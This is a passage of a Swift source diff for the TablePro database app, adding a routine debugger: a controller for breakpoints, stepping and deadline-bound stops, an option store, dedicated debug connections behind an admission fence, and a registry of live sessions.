[PluginDebugVariable] = [] + @Published private(set) var outputLines: [String] = [] + @Published private(set) var displayedUnit: PluginDebugUnit? + @Published private(set) var sources: [String: String] = [:] + // What the ribbon shows: placed breakpoints plus edits waiting for the next pause. + @Published private(set) var breakpoints: [String: Set] = [:] + @Published private(set) var inspectionError: String? + @Published private(set) var resultGrid: HeldRowsGridAdapter? + + var cursorLine: Int? + // Set by the coordinator: the user declined to start, so the tab has nothing to show. + var onCancelled: (@MainActor () -> Void)? + + private let debugger: any PluginRoutineDebugging + private let sessionSource: RoutineDebugSessionSource + private let gate: any ExecutionGate + private let confirmPreparation: @MainActor (PluginDebugPreparation) async -> Bool + private let withdrawPreparation: @MainActor () -> Void + private let cancelLimit: Duration + private var session: (any PluginDebugSession)? + private var startTask: Task? + private var preparationTask: Task? + private var authorizationTask: Task? + private var placedBreakpoints: [String: Set] = [:] + private var lastOperation: Task? + private var stopTask: Task? + private var stopDeadline: RoutineDebugStopDeadline? + // The one `stop()` call a session gets, shared by everything that ends its target. + private var targetStop: Task? + // The plugin could not confirm its target ended, or did not answer by the deadline: the status says so. + private(set) var unconfirmedStop: String? + private var outputTask: Task? + private var pauseGeneration = 0 + private var stopMessage: String? + // `isEnding` from the moment the run starts to end; `hasEnded` once its drivers are closed and its state final. + private var isEnding = false + private(set) var hasEnded = false + private var endWaiters: [CheckedContinuation] = [] + + init( + plan: PluginDebugPlan, + choice: RoutineDebugStartChoice, + connectionId: UUID, + databaseType: DatabaseType, + debugger: any PluginRoutineDebugging, + sessionSource: RoutineDebugSessionSource, + gate: any ExecutionGate = ExecutionGateProvider.shared, + cancelLimit: Duration = RoutineDebugSessions.defaultStopTimeout, + confirmPreparation: @escaping @MainActor (PluginDebugPreparation) async -> Bool, + withdrawPreparation: @escaping @MainActor () -> Void = {} + ) { + self.plan = plan + self.choice = choice + self.connectionId = connectionId + self.databaseType = databaseType + self.debugger = debugger + self.sessionSource = sessionSource + self.gate = gate + self.confirmPreparation = confirmPreparation + self.withdrawPreparation = withdrawPreparation + self.cancelLimit = cancelLimit + } + + // MARK: - Commands + + func canPerform(_ command: PluginDebugCommand) -> Bool { + guard !isStopping, state.pausedLocation != nil else { return false } + return supportedCommands.contains(command) + } + + func perform(_ command: PluginDebugCommand) { + guard canPerform(command), let session else { return } + setState(.running) + enqueue { [weak self] in + guard let self, !self.isStopping else { return } + // An edit made while the pause was still loading had its own sync skipped once this left the pause. + await self.syncBreakpoints(session) + guard !self.isStopping else { return } + await self.runStep { try await session.perform(command) } + } + } + + var canStop: Bool { + !isEnding && !isStopping + } + + // Every way a run is stopped comes here: Stop, its tab or window closing, a disconnect or reconnect, the module + // turned off, quit. A caller that waits on the stop passes its deadline so both end at the same instant. + func stop(by deadline: RoutineDebugStopDeadline? = nil) { + guard canStop else { return } + isStopping = true + let deadline = startStopDeadline(deadline) + notifyStateChange() + if case .preparing = state { + withdrawPreparation() + } + if let session { + stopTask = Task { + await self.endTarget(session) + await self.end(.stopped(nil)) + } + } else if let startTask { + cancelStart(startTask, by: deadline) + } else if let preparationTask { + cancelPreparation(preparationTask, by: deadline) + } else if let authorizationTask { + cancelAuthorization(authorizationTask, by: deadline) + } else if lastOperation == nil { + Task { await self.end(.stopped(nil)) } + } + // Otherwise the preparation question is up or the run is between two steps, and it ends itself as stopped at + // its next check. + } + + private func startStopDeadline(_ requested: RoutineDebugStopDeadline? = nil) -> RoutineDebugStopDeadline { + if let stopDeadline { + return stopDeadline + } + let deadline = requested ?? RoutineDebugStopDeadline(after: cancelLimit) + stopDeadline = deadline + return deadline + } + + // The only place a session hears `stop()`: at once, even over a read, an edit or a step still running, which the + // plugin then ends itself. Returns when the plugin answers or at the deadline, whichever comes first. + private func endTarget(_ session: any PluginDebugSession) async { + let deadline = startStopDeadline() + let stopping: Task + if let targetStop { + stopping = targetStop + } else { + let source = sessionSource + stopping = Task { + // A plugin may need one more session to end its target, which the connection's admission fence must not refuse. + await source.permitCleanup() + return await session.stop() + } + targetStop = stopping + } + let answered = await deadline.wait { _ = await stopping.value } + guard answered else { + Self.logger.warning("Debug target did not answer its stop by the deadline; closing its connections") + unconfirmedStop = Self.stopNotConfirmed + return + } + if case .unconfirmed(let message, let detail) = await stopping.value { + unconfirmedStop = Self.join(message, detail) + } + } + + // The target may already be running its call before `startDebug` returns. Cancelling makes the plugin end it, and a + // session it returns anyway is stopped within the same deadline; one that never answers loses its drivers then. + private func cancelStart(_ start: Task, by deadline: RoutineDebugStopDeadline) { + let source = sessionSource + stopTask = Task { + await source.permitCleanup() + start.cancel() + let answered = await deadline.wait { _ = await start.result } + guard !answered else { return } + Self.logger.warning("Debug start ignored its cancellation; closing its drivers") + self.unconfirmedStop = Self.stopNotConfirmed + await self.end(.stopped(nil)) + } + } + + // The gate withdraws its prompt when cancelled and answers as a Cancel would; one that cannot is not waited on past + // the deadline, since nothing is open yet that the run would have to close. + private func cancelAuthorization(_ work: Task, by deadline: RoutineDebugStopDeadline) { + stopTask = Task { + work.cancel() + let answered = await deadline.wait { _ = await work.value } + guard !answered else { return } + await self.end(.stopped(nil)) + } + } + + // A statement already sent cannot be called back: the run waits for it until the deadline, then closes its + // connection, which abandons it. Either way the run ends stopped and never goes on to start the session. + private func cancelPreparation(_ work: Task, by deadline: RoutineDebugStopDeadline) { + stopTask = Task { + work.cancel() + let answered = await deadline.wait { _ = await work.result } + guard !answered else { return } + Self.logger.warning("Debug preparation still running at the deadline; closing its connection") + await self.end(.stopped(nil)) + } + } + + func waitUntilEnded() async { + guard !hasEnded else { return } + await withCheckedContinuation { endWaiters.append($0) } + } + + // MARK: - Breakpoints + + var hasBreakpoints: Bool { + breakpoints.values.contains { !$0.isEmpty } + } + + // Toggle Breakpoint acts on the caret's line of the source on screen, and nothing once the run is ending. + var canToggleBreakpoint: Bool { + !isEnding && displayedUnit != nil && cursorLine != nil + } + + var canRemoveAllBreakpoints: Bool { + !isEnding && hasBreakpoints + } + + var displayedBreakpointLines: Set { + guard let unit = displayedUnit else { return [] } + return breakpoints[unit.identity] ?? [] + } + + func toggleBreakpointAtCursor() { + guard canToggleBreakpoint, let cursorLine else { return } + toggleBreakpoint(atLine: cursorLine) + } + + func toggleBreakpoint(atLine line: Int) { + guard let unit = displayedUnit, line > 0, !isEnding else { return } + if breakpoints[unit.identity]?.contains(line) == true { + breakpoints[unit.identity]?.remove(line) + } else { + breakpoints[unit.identity, default: []].insert(line) + } + scheduleBreakpointSync() + } + + func removeAllBreakpoints() { + guard canRemoveAllBreakpoints else { return } + breakpoints = [:] + scheduleBreakpointSync() + } + + // While running the engine may not take a breakpoint, so edits wait for the next pause. + private func scheduleBreakpointSync() { + guard let session, state.pausedLocation != nil, !isStopping else { return } + enqueue { [weak self] in + guard let self, self.state.pausedLocation != nil, !self.isStopping else { return } + await self.syncBreakpoints(session) + } + } + + private func syncBreakpoints(_ session: any PluginDebugSession) async { + let units = Set(breakpoints.keys).union(placedBreakpoints.keys) + for unit in units.sorted() { + let wanted = breakpoints[unit] ?? [] + let placed = placedBreakpoints[unit] ?? [] + for line in placed.subtracting(wanted).sorted() { + guard !isStopping else { return } + do { + try await session.removeBreakpoint(PluginDebugBreakpoint(unitIdentity: unit, line: line)) + placedBreakpoints[unit]?.remove(line) + } catch { + // A stop ends the call on purpose; that is no failure to show. + guard !isStopping else { return } + breakpoints[unit, default: []].insert(line) + inspectionError = Self.message(for: error) + } + } + for line in wanted.subtracting(placed).sorted() { + guard !isStopping else { return } + let requested = PluginDebugBreakpoint(unitIdentity: unit, line: line) + do { + let result = try await session.setBreakpoint(requested) + if let result { + placedBreakpoints[result.unitIdentity, default: []].insert(result.line) + } + // Removed while the request was out: the server's breakpoint stays placed but unwanted, so the + // next sync takes it off instead of the marker coming back. + guard breakpoints[unit]?.contains(line) == true else { continue } + breakpoints[unit]?.remove(line) + if let result { + breakpoints[result.unitIdentity, default: []].insert(result.line) + } + } catch { + guard !isStopping else { return } + breakpoints[unit]?.remove(line) + inspectionError = Self.message(for: error) + } + } + } + } + + // MARK: - Frames + + var currentLocation: PluginDebugLocation? { + guard let paused = state.pausedLocation else { return nil } + let shown = frames.first { $0.level == displayedFrameLevel } + return shown?.location ?? paused + } + + var executionLine: Int? { + guard let location = currentLocation, location.unit.identity == displayedUnit?.identity else { return nil } + return location.line + } + + var displayedSource: String { + displayedUnit.flatMap { sources[$0.identity] } ?? "" + } + + func selectFrame(level: Int) { + guard let session, state.pausedLocation != nil, stackIsCurrent, selectedFrameLevel != level, + let frame = frames.first(where: { $0.level == level }) + else { return } + selectedFrameLevel = level + let generation = pauseGeneration + enqueue { [weak self] in + guard let self, self.isCurrentFrame(level, generation) else { return } + do { + if let unit = frame.location?.unit { + try await self.loadSource(of: unit, from: session) + } + guard self.isCurrentFrame(level, generation) else { return } + let values = try await session.variables(inFrame: level) + guard self.isCurrentFrame(level, generation) else { return } + self.show(frame: level, unit: frame.location?.unit, variables: values) + } catch { + guard !self.isStopping else { return } + self.inspectionError = Self.message(for: error) + } + } + } + + private func isCurrentFrame(_ level: Int, _ generation: Int) -> Bool { + isCurrentPause(generation) && selectedFrameLevel == level + } + + private func show(frame level: Int, unit: PluginDebugUnit?, variables values: [PluginDebugVariable]) { + if let unit { + displayedUnit = unit + } + variables = values + displayedFrameLevel = level + } + + // MARK: - Status + + var statusText: String { + if isStopping, !hasEnded { + return String(localized: "Stopping…") + } + switch state { + case .preparing: + return String(localized: "Preparing…") + case .starting: + return String(localized: "Starting…") + case .running: + return String(localized: "Running…") + case .paused(let location): + return String(format: String(localized: "Paused at line %d in %@"), location.line, location.unit.displayName) + case .finished: + return String(localized: "Finished") + case .failed(let message): + return message + case .stopped(let message): + return message ?? String(localized: "Stopped") + } + } + + // MARK: - Run + + func start() { + guard lastOperation == nil, !isEnding else { return } + lastOperation = Task { [weak self] in + await self?.run() + } + } + + private func run() async { + // A stop that landed before this task ran found nothing to cancel, so nothing may be asked or opened. + guard !isStopping else { + await end(.stopped(nil)) + return + } + let decision = await authorize(OperationRequest( + connectionId: connectionId, + databaseType: databaseType, + sql: nil, + kind: plan.mayWrite ? .writeQuery : .readQuery, + caller: .userInterface, + capabilities: .interactiveUser, + operationDescription: String(localized: "Debug Routine") + )) + guard await proceed(after: decision) else { return } + if let preparation = plan.preparation { + guard await prepare(preparation) else { return } + } + guard !isStopping else { + await end(.stopped(nil)) + return + } + setState(.starting) + let request = PluginDebugRequest( + entryPoint: choice.entryPoint, + arguments: choice.arguments, + breakpoints: breakpoints.flatMap { unit, lines in + lines.map { PluginDebugBreakpoint(unitIdentity: unit, line: $0) } + }, + optionValues: choice.optionValues + ) + let debugger = debugger + let sessionSource = sessionSource + let start = Task { try await debugger.startDebug(request, sessions: sessionSource) } + startTask = start + let session: any PluginDebugSession + do { + session = try await start.value + startTask = nil + } catch { + startTask = nil + if !isStopping { + Self.logger.error("Debug session did not start: \(error.publicLogShape, privacy: .public)") + } else if !(error is CancellationError) { + // A cancelled start throws something else only when it could not confirm its target ended. + unconfirmedStop = Self.message(for: error) + } + await end(isStopping ? .stopped(nil) : .failed(Self.message(for: error))) + return + } + // Stopped while starting: a session that came back anyway is ended before its drivers close. + guard !isStopping, !isEnding else { + await endTarget(session) + await end(.stopped(nil)) + return + } + self.session = session + placedBreakpoints = request.breakpoints.reduce(into: [:]) { placed, breakpoint in + placed[breakpoint.unitIdentity, default: []].insert(breakpoint.line) + } + supportedCommands = session.supportedCommands + observeOutput(of: session) + await runStep { try await session.firstStop() } + } + + // In a task of its own, so a stop can withdraw a confirmation or Touch ID prompt the gate is still waiting on. + private func authorize(_ request: OperationRequest) async -> OperationDecision { + let gate = gate + let work = Task { await gate.authorize(request) } + authorizationTask = work + defer { authorizationTask = nil } + return await work.value + } + + private func proceed(after decision: OperationDecision) async -> Bool { + switch decision { + case .authorized: + guard isStopping else { return true } + await end(.stopped(nil)) + return false + case .denied(let reason, let cause): + if cause == .cancelledByUser || isStopping { + let declined = !isStopping + await end(.stopped(nil)) + if declined { + onCancelled?() + } + } else { + await end(.failed(reason)) + } + return false + } + } + + private func prepare(_ preparation: PluginDebugPreparation) async -> Bool { + guard await confirmPreparation(preparation) else { + let declined = !isStopping + await end(.stopped(nil)) + if declined { + onCancelled?() + } + return false + } + guard !isStopping else { + await end(.stopped(nil)) + return false + } + let decision = await authorize(OperationRequest( + connectionId: connectionId, + databaseType: databaseType, + sql: preparation.statements.joined(separator: "\n"), + kind: .schemaMutation, + caller: .userInterface, + capabilities: .interactiveUser, + operationDescription: preparation.actionTitle + )) + guard await proceed(after: decision) else { return false } + let statements = preparation.statements + let source = sessionSource + let work = Task { try await source.run(statements) } + preparationTask = work + do { + try await work.value + preparationTask = nil + } catch { + preparationTask = nil + await end(isStopping ? .stopped(nil) : .failed(Self.message(for: error))) + return false + } + guard !isStopping else { + await end(.stopped(nil)) + return false + } + return true + } + + private func runStep(_ step: @escaping () async throws -> PluginDebugStop) async { + let outcome: PluginDebugStop + do { + outcome = try await step() + } catch { + guard !isStopping, let session else { return } + Self.logger.error("Debug step failed: \(error.publicLogShape, privacy: .public)") + // The step's outcome is unknown, so the target is ended before its drivers close. + await endTarget(session) + await end(.failed(Self.message(for: error))) + return + } + // A stop in flight owns the ending; a pause that raced it is the plugin's to abort. The waiting step's own words + // (rolled back, say) become the status when the stop itself was confirmed. + guard !isStopping else { + switch outcome { + case .failed(let message, let detail): + answerStop(with: Self.join(message, detail)) + case .finished: + answerStop(with: String(localized: "The routine finished before the stop reached it.")) + default: + break + } + return + } + switch outcome { + case .paused(let location): + pauseGeneration += 1 + selectedFrameLevel = nil + displayedFrameLevel = nil + stackIsCurrent = false + // The last pause's values would read as this one's until the new ones load, or for good if they fail. + variables = [] + inspectionError = nil + setState(.paused(location)) + await inspect(location, generation: pauseGeneration) + case .finished(let result): + await end(.finished(result)) + case .failed(let message, let detail): + // A target the plugin gave up on may still run: its stop says so, and may still end it, before the drivers close. + if let session { + await endTarget(session) + } + await end(.failed(Self.join(message, detail))) + @unknown default: + if let session { + await endTarget(session) + } + await end(.failed(String(localized: "The debugger stopped for a reason TablePro doesn't know."))) + } + } + + private func inspect(_ location: PluginDebugLocation, generation: Int) async { + guard let session else { return } + inspectionError = nil + displayedUnit = location.unit + await syncBreakpoints(session) + guard isCurrentPause(generation) else { return } + do { + try await loadSource(of: location.unit, from: session) + guard isCurrentPause(generation) else { return } + let stack = try await session.stack() + guard isCurrentPause(generation) else { return } + frames = stack + let level = stack.first?.level ?? 0 + selectedFrameLevel = level + stackIsCurrent = true + let values = try await session.variables(inFrame: level) + guard isCurrentFrame(level, generation) else { return } + show(frame: level, unit: location.unit, variables: values) + } catch { + guard !isStopping else { return } + inspectionError = Self.message(for: error) + } + } + + private func loadSource(of unit: PluginDebugUnit, from session: any PluginDebugSession) async throws { + guard sources[unit.identity] == nil else { return } + sources[unit.identity] = try await session.source(of: unit) + } + + private func isCurrentPause(_ generation: Int) -> Bool { + generation == pauseGeneration && state.pausedLocation != nil && !isStopping + } + + private func observeOutput(of session: any PluginDebugSession) { + let stream = session.output + outputTask = Task { [weak self] in + for await line in stream { + self?.appendOutput(line) + } + } + } + + private func appendOutput(_ line: String) { + outputLines.append(line) + if outputLines.count > Self.outputLineLimit { + outputLines.removeFirst(outputLines.count - Self.outputLineLimit) + } + } + + private func enqueue(_ operation: @escaping @MainActor () async -> Void) { + let previous = lastOperation + lastOperation = Task { + await previous?.value + await operation() + } + } + + private func answerStop(with message: String) { + stopMessage = message + if hasEnded, case .stopped(.none) = state { + setState(.stopped(message)) + } + } + + private func end(_ final: State) async { + guard !isEnding else { return } + isEnding = true + // A run that ended by itself may still have output on its way, possibly read over these connections; a stopped + // one keeps what already arrived. + if !isStopping, let outputTask, final.endedByItself { + _ = await AppModuleTermination.runCapped(at: Self.outputDrainLimit) { + await outputTask.value + } + } + await sessionSource.closeAll() + outputTask?.cancel() + // Read after the wait: the waiting step's answer to the stop can land while the drivers close. + var final = final + switch final { + case .stopped(.none): + final = .stopped(unconfirmedStop ?? stopMessage) + case .failed(let message): + if let unconfirmedStop, unconfirmedStop != message { + final = .failed(Self.join(message, unconfirmedStop)) + } + default: + break + } + if case .finished(let result) = final { + resultGrid = result.flatMap { Self.makeResultGrid($0, databaseType: databaseType) } + } + hasEnded = true + setState(final) + let waiters = endWaiters + endWaiters.removeAll() + for waiter in waiters { + waiter.resume() + } + } + + private func setState(_ newState: State) { + state = newState + notifyStateChange() + } + + // The toolbar and the Debug menu validate on a window update; a step finishing posts no event to cause one. + private func notifyStateChange() { + NSApplication.shared.setWindowsNeedUpdate(true) + } + + // MARK: - Helpers + + static func message(for error: Error) -> String { + if let driverError = error as? any PluginDriverError { + return join(driverError.pluginErrorMessage, driverError.pluginErrorDetail) + } + return error.localizedDescription + } + + private static func join(_ message: String, _ detail: String?) -> String { + guard let detail, !detail.isEmpty else { return message } + return message + "\n" + detail + } + + private static func makeResultGrid(_ result: PluginQueryResult, databaseType: DatabaseType) -> HeldRowsGridAdapter? { + guard !result.columns.isEmpty else { return nil } + let classifier = ColumnTypeClassifier(family: SQLTypeFamily.of(databaseType)) + let rows = TableRows.from( + queryRows: result.rows, + columns: result.columns, + columnTypes: result.columnTypeNames.map { classifier.classify(rawTypeName: $0) } + ) + var configuration = DataGridConfiguration() + configuration.traits = DataGridEngineTraits(databaseType: databaseType) + configuration.showRowNumbers = true + configuration.supportsValueFilter = false + configuration.commands = [.freezeColumns, .displayAs] + let grid = HeldRowsGridAdapter(configuration: configuration, sortsHeldRows: true) + grid.setRows(rows) + return grid + } +} diff --git a/apple/TablePro/Core/RoutineDebugging/RoutineDebugOptionStore.swift b/apple/TablePro/Core/RoutineDebugging/RoutineDebugOptionStore.swift new file mode 100644 index 0000000000..168bb475cc --- /dev/null +++ b/apple/TablePro/Core/RoutineDebugging/RoutineDebugOptionStore.swift @@ -0,0 +1,48 @@ +// +// RoutineDebugOptionStore.swift +// TablePro +// + +import Foundation + +// The start sheet's option values, per connection and field. Device-local: a debugger host or port names this Mac's network. +internal struct RoutineDebugOptionStore: Sendable { + private static let keyPrefix = "RoutineDebugOption." + + private let defaults: @Sendable () -> UserDefaults + + init(defaults: @escaping @Sendable () -> UserDefaults = { AppStorageEnvironment.shared.defaults }) { + self.defaults = defaults + } + + static func key(connectionId: UUID, fieldId: String) -> String { + "\(keyPrefix)\(connectionId.uuidString).\(fieldId)" + } + + func value(for fieldId: String, connectionId: UUID) -> String? { + defaults().string(forKey: Self.key(connectionId: connectionId, fieldId: fieldId)) + } + + func save(_ values: [String: String], connectionId: UUID) { + let store = defaults() + for (fieldId, value) in values { + store.set(value, forKey: Self.key(connectionId: connectionId, fieldId: fieldId)) + } + } + + // Field ids are the plugin's, so a connection's keys are found by prefix. + func remove(for connectionId: UUID) { + removeKeys(withPrefix: "\(Self.keyPrefix)\(connectionId.uuidString).") + } + + func removeAll() { + removeKeys(withPrefix: Self.keyPrefix) + } + + private func removeKeys(withPrefix prefix: String) { + let store = defaults() + for key in store.keys(withPrefix: prefix) { + store.removeObject(forKey: key) + } + } +} diff --git a/apple/TablePro/Core/RoutineDebugging/RoutineDebugSessionSource.swift b/apple/TablePro/Core/RoutineDebugging/RoutineDebugSessionSource.swift new file mode 100644 index 0000000000..6ae474e555 --- /dev/null +++ b/apple/TablePro/Core/RoutineDebugging/RoutineDebugSessionSource.swift @@ -0,0 +1,146 @@ +// +// RoutineDebugSessionSource.swift +// TablePro +// + +import Foundation +import TableProPluginKit + +internal struct RoutineDebugDriverHandle: Sendable { + let driver: any PluginDatabaseDriver + let close: @Sendable () -> Void +} + +internal enum RoutineDebugError: LocalizedError, Equatable { + case sessionEnded + case needsSeparateConnection + case unsupported + case connectionChanged + + var errorDescription: String? { + switch self { + case .sessionEnded: + return String(localized: "The debug session has ended.") + case .needsSeparateConnection: + return String(localized: "This connection can't open the separate sessions the debugger needs.") + case .unsupported: + return String(localized: "This connection's driver can't debug routines.") + case .connectionChanged: + return String(localized: "The connection was closed or reconnected while the debugger was starting. Start it again.") + } + } +} + +// Dedicated connections for one debug session: never pooled, never health-pinged, no query timeout, all closed when it ends. +internal actor RoutineDebugSessionSource: PluginDebugSessionSource { + typealias Opener = @Sendable () async throws -> RoutineDebugDriverHandle + + // A paused target waits on a person, so any statement timeout would end the session between two steps. + static let queryTimeoutSeconds = 0 + + private let opener: Opener + // The connection's admission fence: false while its transport is being torn down or after it was replaced. + private let admits: @Sendable () async -> Bool + private var handles: [UUID: RoutineDebugDriverHandle] = [:] + private var isClosed = false + private var permitsCleanup = false + + init(admits: @escaping @Sendable () async -> Bool = { true }, opener: @escaping Opener) { + self.admits = admits + self.opener = opener + } + + // Once the run is stopping, a session the plugin opens to end its target is let through the fence. + func permitCleanup() { + permitsCleanup = true + } + + func openSession() async throws -> any PluginDatabaseDriver { + let handle = try await dial() + handles[UUID()] = handle + return handle.driver + } + + // On a driver of its own, never the person's session: a DDL statement there would commit a transaction they left + // open. The driver sits with the session's others while it runs, so ending the session closes it too. + func run(_ statements: [String]) async throws { + let handle = try await dial() + let id = UUID() + handles[id] = handle + defer { handles.removeValue(forKey: id)?.close() } + for statement in statements { + try Task.checkCancellation() + guard !isClosed else { throw RoutineDebugError.sessionEnded } + _ = try await handle.driver.execute(query: statement) + } + } + + private func dial() async throws -> RoutineDebugDriverHandle { + try await checkAdmission() + let handle = try await opener() + // The session may have ended, or the connection closed its fence, while the driver was being dialed. + do { + try await checkAdmission() + } catch { + handle.close() + throw error + } + return handle + } + + private func checkAdmission() async throws { + guard !isClosed else { throw RoutineDebugError.sessionEnded } + guard !permitsCleanup else { return } + guard await admits() else { throw RoutineDebugError.connectionChanged } + guard !isClosed else { throw RoutineDebugError.sessionEnded } + } + + func closeAll() { + isClosed = true + let closing = handles.values + handles.removeAll() + for handle in closing { + handle.close() + } + } +} + +extension RoutineDebugSessionSource { + typealias ServerOpener = @MainActor @Sendable (DatabaseScope, Int) async throws -> DatabaseDriver + + // `generation` is the connection's admission generation when the start sheet opened. + @MainActor + static func live( + scope: DatabaseScope, + generation: Int, + open: @escaping ServerOpener = dedicatedServerDriver + ) -> RoutineDebugSessionSource { + let connectionId = scope.connectionId + return RoutineDebugSessionSource(admits: { + await RoutineDebugSessions.shared.admits(connectionId, generation: generation) + }) { + let driver = try await open(scope, Self.queryTimeoutSeconds) + guard let adapter = driver as? PluginDriverAdapter else { + driver.disconnect() + throw RoutineDebugError.unsupported + } + return RoutineDebugDriverHandle(driver: adapter.schemaPluginDriver) { adapter.disconnect() } + } + } + + // A second connection to an embedded engine opens a different, empty database, so those engines are refused. + @MainActor + static func dedicatedServerDriver(scope: DatabaseScope, queryTimeoutSeconds: Int) async throws -> DatabaseDriver { + guard let session = DatabaseManager.shared.session(for: scope.connectionId) else { + throw DatabaseError.notConnected + } + guard session.connection.type.supportsConnectionPooling else { + throw RoutineDebugError.needsSeparateConnection + } + return try await MetadataConnectionPool.openServerDriver( + for: scope, + purpose: .session, + queryTimeoutSeconds: queryTimeoutSeconds + ) + } +} diff --git a/apple/TablePro/Core/RoutineDebugging/RoutineDebugSessions.swift b/apple/TablePro/Core/RoutineDebugging/RoutineDebugSessions.swift new file mode 100644 index 0000000000..3796ef6ec7 --- /dev/null +++ b/apple/TablePro/Core/RoutineDebugging/RoutineDebugSessions.swift @@ -0,0 +1,247 @@ +// +// RoutineDebugSessions.swift +// TablePro +// + +import AppKit +import Foundation +import os +import TableProPluginKit + +// T0 plus the stop limit, fixed when a stop is first asked for. Every wait in that stop, and every caller waiting on +// it, runs against this one instant, so no connection closes before the plugin answered or the instant passed. +internal struct RoutineDebugStopDeadline: Sendable { + let instant: ContinuousClock.Instant + + init(after limit: Duration) { + instant = ContinuousClock.now.advanced(by: limit) + } + + // True when `work` returned first. Work still running at the deadline is left running. + @MainActor + func wait(for work: @escaping @MainActor @Sendable () async -> Void) async -> Bool { + await AppModuleTermination.runCapped(at: ContinuousClock.now.duration(to: instant), work) + } +} + +// Every live debug run, by the tab that shows it. Its connection can move to another window, so nothing here keeps one. +@MainActor +internal final class RoutineDebugSessions { + static let shared = RoutineDebugSessions() + + // Long enough for a reachable server to abort and roll back, short enough that a disconnect never hangs on one that isn't. + static let defaultStopTimeout: Duration = .seconds(5) + + private static let logger = Logger(subsystem: "com.TablePro", category: "RoutineDebugSessions") + + private struct Entry { + let controller: RoutineDebugController + let connectionId: UUID + } + + private var entries: [UUID: Entry] = [:] + private var ending: [UUID: Entry] = [:] + // Per connection: closed while its transport is torn down or replaced, and bumped each time, so a start set up + // against the old transport is refused even after the fence opens again. Replacements nest; the last to end opens it. + private var fenceDepths: [UUID: Int] = [:] + private var admissionGenerations: [UUID: Int] = [:] + // Runs a disconnect ended: the connection's teardown takes their tabs before anyone reads their status. + private var unseenEndTabs: Set = [] + // Choosers, start sheets and preparation alerts still on screen, so turning the module off can take them down. + private var pendingSetups: [ObjectIdentifier: RoutineDebugSetup] = [:] + private var moduleObserver: NSObjectProtocol? + private let isModuleEnabled: @MainActor () -> Bool + private let notificationCenter: NotificationCenter + private let reportUnconfirmedStop: @MainActor (RoutineDebugController, NSWindow?) -> Void + + init( + isModuleEnabled: @escaping @MainActor () -> Bool = { AppModuleSettings.shared.isEnabled(.routineDebugger) }, + notificationCenter: NotificationCenter = .default, + reportUnconfirmedStop: @escaping @MainActor (RoutineDebugController, NSWindow?) -> Void = + RoutineDebugSessions.presentUnconfirmedStop + ) { + self.isModuleEnabled = isModuleEnabled + self.notificationCenter = notificationCenter + self.reportUnconfirmedStop = reportUnconfirmedStop + } + + var hasActiveSessions: Bool { + entries.values.contains { !$0.controller.hasEnded } || !ending.isEmpty + } + + // Refused once the connection's transport went away after `generation` was read; nil means now. + @discardableResult + func register( + _ controller: RoutineDebugController, + tabId: UUID, + connectionId: UUID, + generation: Int? = nil + ) -> Bool { + guard admits(connectionId, generation: generation ?? admissionGeneration(for: connectionId)) else { return false } + entries[tabId] = Entry(controller: controller, connectionId: connectionId) + observeModuleIfNeeded() + return true + } + + // MARK: - Setups + + func beginSetup(_ setup: RoutineDebugSetup) { + pendingSetups[ObjectIdentifier(setup)] = setup + observeModuleIfNeeded() + } + + func endSetup(_ setup: RoutineDebugSetup) { + pendingSetups.removeValue(forKey: ObjectIdentifier(setup)) + stopObservingIfIdle() + } + + // MARK: - Admission + + func admissionGeneration(for connectionId: UUID) -> Int { + admissionGenerations[connectionId] ?? 0 + } + + func admits(_ connectionId: UUID, generation: Int) -> Bool { + fenceDepths[connectionId] == nil && admissionGeneration(for: connectionId) == generation + } + + // After the transport is up again, or gone for good. Starts read before the fence closed stay refused. + func reopenAdmission(for connectionId: UUID) { + guard let depth = fenceDepths[connectionId] else { return } + fenceDepths[connectionId] = depth > 1 ? depth - 1 : nil + } + + private func closeAdmission(for connectionId: UUID) { + fenceDepths[connectionId, default: 0] += 1 + admissionGenerations[connectionId] = admissionGeneration(for: connectionId) + 1 + } + + func controller(forTab tabId: UUID) -> RoutineDebugController? { + entries[tabId]?.controller + } + + // The tab is going away: its run stops and its drivers close, without anyone waiting on it. With no tab left to + // show it, a stop the plugin could not confirm is reported on `window`, the one that held the tab. + func endSession(forTab tabId: UUID, window: NSWindow? = nil) { + guard let entry = entries.removeValue(forKey: tabId) else { return } + entry.controller.onCancelled = nil + guard !entry.controller.hasEnded else { + if unseenEndTabs.remove(tabId) != nil, entry.controller.unconfirmedStop != nil { + let controller = entry.controller + // A turn later, so a window closing with the tab is gone and the alert lands on one that stays. + Task { [weak self, weak window] in + self?.reportUnconfirmedStop(controller, window) + } + } + stopObservingIfIdle() + return + } + unseenEndTabs.remove(tabId) + ending[tabId] = entry + entry.controller.stop() + Task { [weak self, weak window] in + await entry.controller.waitUntilEnded() + guard let self else { return } + self.ending.removeValue(forKey: tabId) + if entry.controller.unconfirmedStop != nil { + self.reportUnconfirmedStop(entry.controller, window) + } + self.stopObservingIfIdle() + } + } + + func endSessions(forTabs tabIds: [UUID], window: NSWindow? = nil) { + for tabId in tabIds { + endSession(forTab: tabId, window: window) + } + } + + // The target may still hold its locks. A quit in progress shows nothing: the process is about to end its connections. + static func presentUnconfirmedStop(of controller: RoutineDebugController, in window: NSWindow?) { + guard let text = controller.unconfirmedStop, + !AppModuleTermination.hasBegun, + !MainContentCoordinator.isAppTerminating + else { return } + let alert = NSAlert() + alert.messageText = String(format: String(localized: "%@ May Still Be Running"), controller.plan.target.name) + alert.informativeText = text + alert.alertStyle = .warning + alert.addButton(withTitle: String(localized: "OK")) + AlertHelper.present(alert, in: window?.isVisible == true ? window : nil) + } + + // Before the connection's transport goes, so every target is aborted while it can still be reached. Closes the + // connection's admission first, so a start racing this cannot open a driver on the transport being torn down; the + // caller reopens it with `reopenAdmission(for:)` once the new transport is up. + // `tabsCloseAfter`: the caller tears the connection's tabs down next, so an unconfirmed stop is reported then. + func stopAll(connectionId: UUID, timeout: Duration = defaultStopTimeout, tabsCloseAfter: Bool = false) async { + let deadline = RoutineDebugStopDeadline(after: timeout) + closeAdmission(for: connectionId) + let controllers = (entries.values.map { $0 } + ending.values.map { $0 }) + .filter { $0.connectionId == connectionId } + .map(\.controller) + await stopAndWait(controllers, by: deadline) + guard tabsCloseAfter else { return } + for (tabId, entry) in entries where entry.connectionId == connectionId { + unseenEndTabs.insert(tabId) + } + } + + func stopAll(timeout: Duration = defaultStopTimeout) async { + let deadline = RoutineDebugStopDeadline(after: timeout) + let controllers = entries.values.map(\.controller) + ending.values.map(\.controller) + await stopAndWait(controllers, by: deadline) + } + + // The runs close their drivers by the same deadline this waits for, so the caller's transport outlives them. + private func stopAndWait(_ controllers: [RoutineDebugController], by deadline: RoutineDebugStopDeadline) async { + let live = 